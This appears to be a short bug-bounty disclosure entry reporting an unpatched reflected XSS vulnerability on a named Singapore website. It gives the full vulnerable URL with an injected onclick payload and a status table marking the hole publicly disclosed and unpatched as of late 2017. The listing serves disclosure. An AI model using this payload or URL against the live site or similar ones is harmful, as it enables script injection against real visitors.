davidyeung.com.sg XSS vulnerability

Vulnerable URL: http://davidyeung.com.sg/!prettyPhoto/0,%3Ca%20onclick=%22alert%27OPENBUGBOUNTY%27;%22%3E/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 12823892 VIP website...